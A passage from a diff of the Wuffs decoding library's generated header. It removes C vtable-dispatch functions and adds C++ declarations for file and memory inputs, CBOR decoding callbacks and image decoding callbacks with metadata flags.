-- const wuffs_base__image_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->num_animation_loops)(self); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+// -------- - -- return 0; --} -+// FileInput is an Input that reads from a file source. -+// -+// It does not take responsibility for closing the file when done. -+class FileInput : public Input { -+ public: -+ FileInput(FILE* f); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_base__image_decoder__num_decoded_frame_configs( -- const wuffs_base__image_decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+ virtual std::string CopyIn(IOBuffer* dst); - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -- const wuffs_base__image_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->num_decoded_frame_configs)(self); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+ private: -+ FILE* m_f; - -- return 0; --} -+ // Delete the copy and assign constructors. -+ FileInput(const FileInput&) = delete; -+ FileInput& operator=(const FileInput&) = delete; -+}; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_base__image_decoder__num_decoded_frames( -- const wuffs_base__image_decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+// -------- - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -- const wuffs_base__image_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->num_decoded_frames)(self); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+// MemoryInput is an Input that reads from an in-memory source. -+// -+// It does not take responsibility for freeing the memory when done. -+class MemoryInput : public Input { -+ public: -+ MemoryInput(const char* ptr, size_t len); -+ MemoryInput(const uint8_t* ptr, size_t len); - -- return 0; --} -+ virtual IOBuffer* BringsItsOwnIOBuffer(); -+ virtual std::string CopyIn(IOBuffer* dst); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_base__image_decoder__restart_frame( -- wuffs_base__image_decoder* self, -- uint64_t a_index, -- uint64_t a_io_position) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -+ private: -+ IOBuffer m_io; - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -- const wuffs_base__image_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->restart_frame)(self, a_index, a_io_position); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+ // Delete the copy and assign constructors. -+ MemoryInput(const MemoryInput&) = delete; -+ MemoryInput& operator=(const MemoryInput&) = delete; -+}; - -- return wuffs_base__make_status(wuffs_base__error__bad_vtable); --} -+// -------- - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_base__image_decoder__set_quirk( -- wuffs_base__image_decoder* self, -- uint32_t a_key, -- uint64_t a_value) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -+} // namespace sync_io - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -- const wuffs_base__image_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->set_quirk)(self, a_key, a_value); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+} // namespace wuffs_aux - -- return wuffs_base__make_status(wuffs_base__error__bad_vtable); --} -+// ---------------- Auxiliary - CBOR - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_base__image_decoder__set_report_metadata( -- wuffs_base__image_decoder* self, -- uint32_t a_fourcc, -- bool a_report) { -- if (!self) { -- return wuffs_base__make_empty_struct(); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_empty_struct(); -- } -+namespace wuffs_aux { - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -- const wuffs_base__image_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->set_report_metadata)(self, a_fourcc, a_report); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+struct DecodeCborResult { -+ DecodeCborResult(std::string&& error_message0, uint64_t cursor_position0); - -- return wuffs_base__make_empty_struct(); --} -+ std::string error_message; -+ uint64_t cursor_position; -+}; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_base__image_decoder__tell_me_more( -- wuffs_base__image_decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -+class DecodeCborCallbacks { -+ public: -+ virtual ~DecodeCborCallbacks(); - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -- const wuffs_base__image_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->tell_me_more)(self, a_dst, a_minfo, a_src); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+ // AppendXxx are called for leaf nodes: literals, numbers, strings, etc. - -- return wuffs_base__make_status(wuffs_base__error__bad_vtable); --} -+ virtual std::string AppendNull() = 0; -+ virtual std::string AppendUndefined() = 0; -+ virtual std::string AppendBool(bool val) = 0; -+ virtual std::string AppendF64(double val) = 0; -+ virtual std::string AppendI64(int64_t val) = 0; -+ virtual std::string AppendU64(uint64_t val) = 0; -+ virtual std::string AppendByteString(std::string&& val) = 0; -+ virtual std::string AppendTextString(std::string&& val) = 0; -+ virtual std::string AppendMinus1MinusX(uint64_t val) = 0; -+ virtual std::string AppendCborSimpleValue(uint8_t val) = 0; -+ virtual std::string AppendCborTag(uint64_t val) = 0; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_base__image_decoder__workbuf_len( -- const wuffs_base__image_decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -+ // Push and Pop are called for container nodes: CBOR arrays (lists) and CBOR -+ // maps (dictionaries). -+ // -+ // The flags bits combine exactly one of: -+ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_NONE -+ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_LIST -+ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_DICT -+ // and exactly one of: -+ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE -+ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST -+ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -- const wuffs_base__image_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->workbuf_len)(self); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+ virtual std::string Push(uint32_t flags) = 0; -+ virtual std::string Pop(uint32_t flags) = 0; - -- return wuffs_base__utility__empty_range_ii_u64(); --} -+ // Done is always the last Callback method called by DecodeCbor, whether or -+ // not parsing the input as CBOR encountered an error. Even when successful, -+ // trailing data may remain in input and buffer. -+ // -+ // Do not keep a reference to buffer or buffer.data.ptr after Done returns, -+ // as DecodeCbor may then de-allocate the backing array. -+ // -+ // The default Done implementation is a no-op. -+ virtual void // -+ Done(DecodeCborResult& result, sync_io::Input& input, IOBuffer& buffer); -+}; - --// -------- -+// The FooArgBar types add structure to Foo's optional arguments. They wrap -+// inner representations for several reasons: -+// - It provides a home for the DefaultValue static method, for Foo callers -+// that want to override some but not all optional arguments. -+// - It provides the "Bar" name at Foo call sites, which can help self- -+// document Foo calls with many arguemnts. -+// - It provides some type safety against accidentally transposing or omitting -+// adjacent fundamentally-numeric-typed optional arguments. - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_base__io_transformer__get_quirk( -- const wuffs_base__io_transformer* self, -- uint32_t a_key) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+// DecodeCborArgQuirks wraps an optional argument to DecodeCbor. -+struct DecodeCborArgQuirks { -+ explicit DecodeCborArgQuirks(const QuirkKeyValuePair* ptr0, -+ const size_t len0); - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { -- const wuffs_base__io_transformer__func_ptrs* func_ptrs = -- (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->get_quirk)(self, a_key); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+ // DefaultValue returns an empty slice. -+ static DecodeCborArgQuirks DefaultValue(); - -- return 0; --} -+ const QuirkKeyValuePair* ptr; -+ const size_t len; -+}; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_base__io_transformer__history_retain_length( -- const wuffs_base__io_transformer* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+// DecodeCbor calls callbacks based on the CBOR-formatted data in input. -+// -+// On success, the returned error_message is empty and cursor_position counts -+// the number of bytes consumed. On failure, error_message is non-empty and -+// cursor_position is the location of the error. That error may be a content -+// error (invalid CBOR) or an input error (e.g. network failure). -+DecodeCborResult // -+DecodeCbor(DecodeCborCallbacks& callbacks, -+ sync_io::Input& input, -+ DecodeCborArgQuirks quirks = DecodeCborArgQuirks::DefaultValue()); - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { -- const wuffs_base__io_transformer__func_ptrs* func_ptrs = -- (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->history_retain_length)(self); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+} // namespace wuffs_aux - -- return 0; --} -+// ---------------- Auxiliary - Image - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_base__io_transformer__set_quirk( -- wuffs_base__io_transformer* self, -- uint32_t a_key, -- uint64_t a_value) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -+namespace wuffs_aux { - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { -- const wuffs_base__io_transformer__func_ptrs* func_ptrs = -- (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->set_quirk)(self, a_key, a_value); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+struct DecodeImageResult { -+ DecodeImageResult(MemOwner&& pixbuf_mem_owner0, -+ wuffs_base__pixel_buffer pixbuf0, -+ std::string&& error_message0); -+ DecodeImageResult(std::string&& error_message0); - -- return wuffs_base__make_status(wuffs_base__error__bad_vtable); --} -+ MemOwner pixbuf_mem_owner; -+ wuffs_base__pixel_buffer pixbuf; -+ std::string error_message; -+}; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_base__io_transformer__transform_io( -- wuffs_base__io_transformer* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -+// DecodeImageCallbacks are the callbacks given to DecodeImage. They are always -+// called in this order: -+// 1. SelectDecoder -+// 2. HandleMetadata -+// 3. SelectPixfmt -+// 4. AllocPixbuf -+// 5. AllocWorkbuf -+// 6. Done -+// -+// It may return early - the third callback might not be invoked if the second -+// one fails - but the final callback (Done) is always invoked. -+class DecodeImageCallbacks { -+ public: -+ // AllocPixbufResult holds a memory allocation (the result of malloc or new, -+ // a statically allocated pointer, etc), or an error message. The memory is -+ // de-allocated when mem_owner goes out of scope and is destroyed. -+ struct AllocPixbufResult { -+ AllocPixbufResult(MemOwner&& mem_owner0, wuffs_base__pixel_buffer pixbuf0); -+ AllocPixbufResult(std::string&& error_message0); - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { -- const wuffs_base__io_transformer__func_ptrs* func_ptrs = -- (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->transform_io)(self, a_dst, a_src, a_workbuf); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+ MemOwner mem_owner; -+ wuffs_base__pixel_buffer pixbuf; -+ std::string error_message; -+ }; - -- return wuffs_base__make_status(wuffs_base__error__bad_vtable); --} -+ // AllocWorkbufResult holds a memory allocation (the result of malloc or new, -+ // a statically allocated pointer, etc), or an error message. The memory is -+ // de-allocated when mem_owner goes out of scope and is destroyed. -+ struct AllocWorkbufResult { -+ AllocWorkbufResult(MemOwner&& mem_owner0, wuffs_base__slice_u8 workbuf0); -+ AllocWorkbufResult(std::string&& error_message0); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_base__io_transformer__workbuf_len( -- const wuffs_base__io_transformer* self) { -- if (!self) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -+ MemOwner mem_owner; -+ wuffs_base__slice_u8 workbuf; -+ std::string error_message; -+ }; - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { -- const wuffs_base__io_transformer__func_ptrs* func_ptrs = -- (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->workbuf_len)(self); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+ virtual ~DecodeImageCallbacks(); - -- return wuffs_base__utility__empty_range_ii_u64(); --} -+ // SelectDecoder returns the image decoder for the input data's file format. -+ // Returning a nullptr means failure (DecodeImage_UnsupportedImageFormat). -+ // -+ // Common formats will have a FourCC value in the range [1 ..= 0x7FFF_FFFF], -+ // such as WUFFS_BASE__FOURCC__JPEG. A zero FourCC value means that Wuffs' -+ // standard library did not recognize the image format but if SelectDecoder -+ // was overridden, it may examine the input data's starting bytes and still -+ // provide its own image decoder, e.g. for an exotic image file format that's -+ // not in Wuffs' standard library. The prefix_etc fields have the same -+ // meaning as wuffs_base__magic_number_guess_fourcc arguments. SelectDecoder -+ // implementations should not modify prefix_data's contents. -+ // -+ // SelectDecoder might be called more than once, since some image file -+ // formats can wrap others. For example, a nominal BMP file can actually -+ // contain a JPEG or a PNG. -+ // -+ // The default SelectDecoder accepts the FOURCC codes listed below. For -+ // modular builds (i.e. when #define'ing WUFFS_CONFIG__MODULES), acceptance -+ // of the ETC file format is optional (for each value of ETC) and depends on -+ // the corresponding module to be enabled at compile time (i.e. #define'ing -+ // WUFFS_CONFIG__MODULE__ETC). -+ // - WUFFS_BASE__FOURCC__BMP -+ // - WUFFS_BASE__FOURCC__GIF -+ // - WUFFS_BASE__FOURCC__JPEG -+ // - WUFFS_BASE__FOURCC__NIE -+ // - WUFFS_BASE__FOURCC__NPBM -+ // - WUFFS_BASE__FOURCC__PNG -+ // - WUFFS_BASE__FOURCC__QOI -+ // - WUFFS_BASE__FOURCC__TGA -+ // - WUFFS_BASE__FOURCC__WBMP -+ // - WUFFS_BASE__FOURCC__WEBP -+ virtual wuffs_base__image_decoder::unique_ptr // -+ SelectDecoder(uint32_t fourcc, -+ wuffs_base__slice_u8 prefix_data, -+ bool prefix_closed); - --// -------- -+ // HandleMetadata acknowledges image metadata. minfo.flavor will be one of: -+ // - WUFFS_BASE__MORE_INFORMATION__FLAVOR__METADATA_RAW_PASSTHROUGH -+ // - WUFFS_BASE__MORE_INFORMATION__FLAVOR__METADATA_PARSED -+ // If it is ETC__METADATA_RAW_ETC then raw contains the metadata bytes. Those -+ // bytes should not be retained beyond the the HandleMetadata call. -+ // -+ // minfo.metadata__fourcc() will typically match one of the -+ // DecodeImageArgFlags bits. For example, if (REPORT_METADATA_CHRM | -+ // REPORT_METADATA_GAMA) was passed to DecodeImage then the metadata FourCC -+ // will be either WUFFS_BASE__FOURCC__CHRM or WUFFS_BASE__FOURCC__GAMA. -+ // -+ // It returns an error message, or an empty string on success. -+ virtual std::string // -+ HandleMetadata(const wuffs_base__more_information& minfo, -+ wuffs_base__slice_u8 raw); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_base__token_decoder__decode_tokens( -- wuffs_base__token_decoder* self, -- wuffs_base__token_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -+ // SelectPixfmt returns the destination pixel format for AllocPixbuf. It -+ // should return wuffs_base__make_pixel_format(etc) called with one of: -+ // - WUFFS_BASE__PIXEL_FORMAT__BGR_565 -+ // - WUFFS_BASE__PIXEL_FORMAT__BGR -+ // - WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL -+ // - WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE -+ // - WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL -+ // - WUFFS_BASE__PIXEL_FORMAT__RGB -+ // - WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL -+ // - WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL -+ // or return image_config.pixcfg.pixel_format(). The latter means to use the -+ // image file's natural pixel format. For example, GIF images' natural pixel -+ // format is an indexed one. -+ // -+ // Returning otherwise means failure (DecodeImage_UnsupportedPixelFormat). -+ // -+ // The default SelectPixfmt implementation returns -+ // wuffs_base__make_pixel_format(WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL) which -+ // is 4 bytes per pixel (8 bits per channel × 4 channels). -+ virtual wuffs_base__pixel_format // -+ SelectPixfmt(const wuffs_base__image_config& image_config); - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { -- const wuffs_base__token_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->decode_tokens)(self, a_dst, a_src, a_workbuf); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+ // AllocPixbuf allocates the pixel buffer. -+ // -+ // allow_uninitialized_memory will be true if a valid background_color was -+ // passed to DecodeImage, since the pixel buffer's contents will be -+ // overwritten with that color after AllocPixbuf returns. -+ // -+ // The default AllocPixbuf implementation allocates either uninitialized or -+ // zeroed memory. Zeroed memory typically corresponds to filling with opaque -+ // black or transparent black, depending on the pixel format. -+ virtual AllocPixbufResult // -+ AllocPixbuf(const wuffs_base__image_config& image_config, -+ bool allow_uninitialized_memory); - -- return wuffs_base__make_status(wuffs_base__error__bad_vtable); --} -+ // AllocWorkbuf allocates the work buffer. The allocated buffer's length -+ // should be at least len_range.min_incl, but larger allocations (up to -+ // len_range.max_incl) may have better performance (by using more memory). -+ // -+ // The default AllocWorkbuf implementation allocates len_range.max_incl bytes -+ // of either uninitialized or zeroed memory. -+ virtual AllocWorkbufResult // -+ AllocWorkbuf(wuffs_base__range_ii_u64 len_range, -+ bool allow_uninitialized_memory); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_base__token_decoder__get_quirk( -- const wuffs_base__token_decoder* self, -- uint32_t a_key) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+ // Done is always the last Callback method called by DecodeImage, whether or -+ // not parsing the input encountered an error. Even when successful, trailing -+ // data may remain in input and buffer. -+ // -+ // The image_decoder is the one returned by SelectDecoder (if SelectDecoder -+ // was successful), or a no-op unique_ptr otherwise. Like any unique_ptr, -+ // ownership moves to the Done implementation. -+ // -+ // Do not keep a reference to buffer or buffer.data.ptr after Done returns, -+ // as DecodeImage may then de-allocate the backing array. -+ // -+ // The default Done implementation is a no-op, other than running the -+ // image_decoder unique_ptr destructor. -+ virtual void // -+ Done(DecodeImageResult& result, -+ sync_io::Input& input, -+ IOBuffer& buffer, -+ wuffs_base__image_decoder::unique_ptr image_decoder); -+}; - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { -- const wuffs_base__token_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->get_quirk)(self, a_key); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+extern const char DecodeImage_BufferIsTooShort[]; -+extern const char DecodeImage_MaxInclDimensionExceeded[]; -+extern const char DecodeImage_MaxInclMetadataLengthExceeded[]; -+extern const char DecodeImage_OutOfMemory[]; -+extern const char DecodeImage_UnexpectedEndOfFile[]; -+extern const char DecodeImage_UnsupportedImageFormat[]; -+extern const char DecodeImage_UnsupportedMetadata[]; -+extern const char DecodeImage_UnsupportedPixelBlend[]; -+extern const char DecodeImage_UnsupportedPixelConfiguration[]; -+extern const char DecodeImage_UnsupportedPixelFormat[]; - -- return 0; --} -+// The FooArgBar types add structure to Foo's optional arguments. They wrap -+// inner representations for several reasons: -+// - It provides a home for the DefaultValue static method, for Foo callers -+// that want to override some but not all optional arguments. -+// - It provides the "Bar" name at Foo call sites, which can help self- -+// document Foo calls with many arguemnts. -+// - It provides some type safety against accidentally transposing or omitting -+// adjacent fundamentally-numeric-typed optional arguments. - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_base__token_decoder__history_retain_length( -- const wuffs_base__token_decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+// DecodeImageArgQuirks wraps an optional argument to DecodeImage. -+struct DecodeImageArgQuirks { -+ explicit DecodeImageArgQuirks(const QuirkKeyValuePair* ptr0, -+ const size_t len0); - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { -- const wuffs_base__token_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->history_retain_length)(self); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+ // DefaultValue returns an empty slice. -+ static DecodeImageArgQuirks DefaultValue(); - -- return 0; --} -+ const QuirkKeyValuePair* ptr; -+ const size_t len; -+}; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_base__token_decoder__set_quirk( -- wuffs_base__token_decoder* self, -- uint32_t a_key, -- uint64_t a_value) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -+// DecodeImageArgFlags wraps an optional argument to DecodeImage. -+struct DecodeImageArgFlags { -+ explicit DecodeImageArgFlags(uint64_t repr0); - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { -- const wuffs_base__token_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->set_quirk)(self, a_key, a_value); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+ // DefaultValue returns 0. -+ static DecodeImageArgFlags DefaultValue(); - -- return wuffs_base__make_status(wuffs_base__error__bad_vtable); --} -+ // TODO: support all of the REPORT_METADATA_ETC flags, not just CHRM, EXIF, -+ // GAMA, ICCP, KVP, SRGB and XMP. - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_base__token_decoder__workbuf_len( -- const wuffs_base__token_decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -+ // Background Color. -+ static constexpr uint64_t REPORT_METADATA_BGCL = 0x0001; -+ // Primary Chromaticities and White Point. -+ static constexpr uint64_t REPORT_METADATA_CHRM = 0x0002; -+ // Exchangeable Image File Format. -+ static constexpr uint64_t REPORT_METADATA_EXIF = 0x0004; -+ // Gamma Correction. -+ static constexpr uint64_t REPORT_METADATA_GAMA = 0x0008; -+ // International Color Consortium Profile. -+ static constexpr uint64_t REPORT_METADATA_ICCP = 0x0010; -+ // Key-Value Pair. -+ // -+ // For PNG files, this includes iTXt, tEXt and zTXt chunks. In the -+ // HandleMetadata callback, the raw argument contains UTF-8 strings. -+ static constexpr uint64_t REPORT_METADATA_KVP = 0x0020; -+ // Modification Time. -+ static constexpr uint64_t REPORT_METADATA_MTIM = 0x0040; -+ // Offset (2-Dimensional). -+ static constexpr uint64_t REPORT_METADATA_OFS2 = 0x0080; -+ // Physical Dimensions. -+ static constexpr uint64_t REPORT_METADATA_PHYD = 0x0100; -+ // Standard Red Green Blue (Rendering Intent). -+ static constexpr uint64_t REPORT_METADATA_SRGB = 0x0200; -+ // Extensible Metadata Platform. -+ static constexpr uint64_t REPORT_METADATA_XMP = 0x0400; - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == 